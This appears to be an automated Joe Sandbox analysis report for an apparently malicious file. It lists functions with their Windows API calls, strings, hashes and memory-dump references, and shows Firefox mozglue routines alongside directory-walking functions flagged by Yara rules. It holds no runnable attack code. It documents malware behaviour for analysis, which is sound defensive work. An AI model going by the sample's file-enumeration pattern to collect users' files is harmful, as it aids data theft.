__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvdxgiwrap.dll, xrefs: 6C666513
detoured.dll, xrefs: 6C6664DA
user32.dll, xrefs: 6C666526
nvd3d9wrap.dll, xrefs: 6C666500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
_etoured.dll, xrefs: 6C6664ED

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 003338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003338CC
FindFirstFileA.KERNEL32(?,?), ref: 003338E3
lstrcat.KERNEL32(?,?), ref: 00333935
StrCmpCA.SHLWAPI(?,00340F70), ref: 00333947
StrCmpCA.SHLWAPI(?,00340F74), ref: 0033395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00333C67
FindClose.KERNEL32(000000FF), ref: 00333C7C

Strings

%s\%s, xrefs: 0033397A
%s\*, xrefs: 003338C0
%s%s, xrefs: 00333AAD
%s\%s\%s, xrefs: 00333A4A
%s\%s, xrefs: 00333A6F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 5a5bccb46dea80eb922511690d7443b5c899795c46154209bcdf906f33e3052f
Instruction ID: 9dddfadb0482e9e54ca6f36ca35d6e8771bababd580a4ae484ad819d5eb6ea59
Opcode Fuzzy Hash: 5a5bccb46dea80eb922511690d7443b5c899795c46154209bcdf906f33e3052f
Instruction Fuzzy Hash: 3DA101B1A002189BDB25DB64DC85FEA7379BF54300F048598F64DAB141EB75AB88CF62

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 00334570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00334580
RtlAllocateHeap.NTDLL(00000000), ref: 00334587
wsprintfA.USER32 ref: 003345A6
FindFirstFileA.KERNEL32(?,?), ref: 003345BD
StrCmpCA.SHLWAPI(?,00340FC4), ref: 003345EB
StrCmpCA.SHLWAPI(?,00340FC8), ref: 00334601
FindNextFileA.KERNEL32(000000FF,?), ref: 0033468B
FindClose.KERNEL32(000000FF), ref: 003346A0
lstrcat.KERNEL32(?,00F2E920), ref: 003346C5
lstrcat.KERNEL32(?,00F2DDC8), ref: 003346D8
lstrlen.KERNEL32(?), ref: 003346E5
lstrlen.KERNEL32(?), ref: 003346F6

Strings

%s\*, xrefs: 0033459A
%s\%s, xrefs: 0033461B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 5bb89beb17ed28305d2286a0e5eb04ff4aaae2d4401a923c9096dd6856051d34
Instruction ID: 9b1cd182f9e72bd96e89f04b7beb693dfbe8dbd8f101a4217ec1809810a4f7a9
Opcode Fuzzy Hash: 5bb89beb17ed28305d2286a0e5eb04ff4aaae2d4401a923c9096dd6856051d34
Instruction Fuzzy Hash: 335157B1940218ABC725EB74DC89FED737CAB64700F404598F609A7150EBB4AB899F91

Function 0032ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0032ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0032ED55
StrCmpCA.SHLWAPI(?,00341538), ref: 0032EDAB
StrCmpCA.SHLWAPI(?,0034153C), ref: 0032EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0032F2AE
FindClose.KERNEL32(000000FF), ref: 0032F2C3

Strings

%s\*.*, xrefs: 0032ED32

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f4aa43c52759057308ef76ab1eb63e2a904da2b50a68b4d664b5df0e0b6198e7
Instruction ID: 1ea20b68e10efea6ff2f86a524e30c767ca9fe4ab3c5dc843a3555b2970edfbc
Opcode Fuzzy Hash: f4aa43c52759057308ef76ab1eb63e2a904da2b50a68b4d664b5df0e0b6198e7
Instruction Fuzzy Hash: 39E16572811618AADB56FB60DCD2EEE777CAF54300F4041D9B44A6A052EF306F8ADF51

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
